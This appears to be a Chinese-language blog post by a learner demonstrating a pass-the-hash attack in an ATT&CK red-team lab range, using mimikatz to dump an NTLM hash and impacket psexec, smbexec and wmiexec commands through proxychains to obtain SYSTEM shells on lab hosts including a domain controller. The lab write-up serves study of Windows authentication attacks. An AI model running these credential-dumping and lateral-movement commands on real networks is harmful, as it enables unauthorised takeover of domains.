一、前言
面试问到了pth,当时被问到的时候一头雾水。结束后去查了一下惊出一身冷汗,这么重要的居然没学过,好吧还是学内网的时间太短了,也不是系统去学习,所以导致有些知识点会遗漏。这样下去即使脑子再灵活,不知道的东西还是不知道也不可能用上。算个小教训吧,得好好的再深入学习有关windows一切。
二、pth由来
在windows认证机制中,在获取了目标机器用户的NTLM Hash
的情况下,可无需破解哈希直接使用目标的NTLM Hash
来完成身份验证。
主要还是在内网中很多主机的密码都可能一样,保存在内存中NTLM Hash
是一样的,接着就是利用获取到的NTLM Hash
来登录到受害主机或者其他主机。
总之只要获取NTLM Hash
,就有可能在内网横穿。
三、测试环境
这里ATT&CK实战系列——红队实战(一)靶场作为测试环境,环境中有win7
、win_server_2003
、win_server_2008(域控)
,为了节目效果就把三台机子密码设置成一样的。网络环境看着配能通就行。
四、攻击思路
抓取hash,利用hash攻击
1、抓取NTLM Hash
可以用许多路子来抓取内存中的哈希:mimikatz.exe
、Powershell
、MSF
2、攻击工具
impacket
(本文章演示)、CrackMapExec
、MSF
、Smbmap
五、复现
1、获取win7的Hash
前面的渗透的步骤就不放进来了,这里直接用mimikatz来抓取哈希
privilege::debug
sekurlsa::logonpasswords
两条命令执行完:
获取到的ntlm为:a45a7246dd74b64a67f22fd7020f1bd8
2、impacket-psexec.py
安装好impacket后就可以直接用,这里需要注意impacket工具包是在kali那边安装的,所以要借助代理才能在内网横行。这里把win7上线vps的msf然后添加路由挂一层代理。
(1)psexec.py连接win7
用法:psexec.py -hashes :<hash> 域/域用户名@被攻击的ip
这里是需要加上proxychains
再连接win7(192.168.52.138)
命令:proxychains python psexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
运行结果如下
(2)psexec.py连接win2003(192.168.19.134)失败了
运行后卡在这个地方,暂时不知道啥原因
(3)psexec.py连接win2008(域控192.168.19.131)
命令:proxychains python psexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
真就连上去了,有点小惊讶,因为域控这边什么配置都没动(就改了密码),防火墙也还是开的。
3、impacket-smbexec.py
用法:smbexec.py -hashes :<hash> 域/域用户名@ip
(1)smbexec.py连win7
命令:proxychains python smbexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
也还是照常连进去了
(2)smbexec.py连win2003
命令:proxychains python smbexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
这次居然连上去了,说明工具直接还是有区别的,挖坑
(3)smbexec.py连win2008
命令:proxychains python smbexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
也是可以进去,结果如下
感觉smbexec.py执行速度比psexec.py慢了许多,权限也都是system
4、impacket-wmiexec.py
用法:wmiexec.py -hashes :<hash> 域/域用户名@ip
(1)wmiexec.py连接win7
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected]
进去是进去了,但是shell的交互性好像不一样:
准确的用法应该是:wmiexec.py -hashes :<hash> 域/域用户名@ip "cmd命令"
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected] "whoami"
结果如下:
(2)wmiexec.py执行win2003的cmd命令
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected] "whoami"
失败了,版本不适配
(3)wmiexec.py执行win2008的cmd命令
命令:proxychains python wmiexec.py -hashes 0:a45a7246dd74b64a67f22fd7020f1bd8 GOD/[email protected] "whoami"
结果如下
六、总结
虽然是利用成功了但是对这么几个工具的理解还有点欠缺,后面有时间再补补。总之有了这个pth在内网又多一条可以走的路,并且还得再深入学习windows认证机制。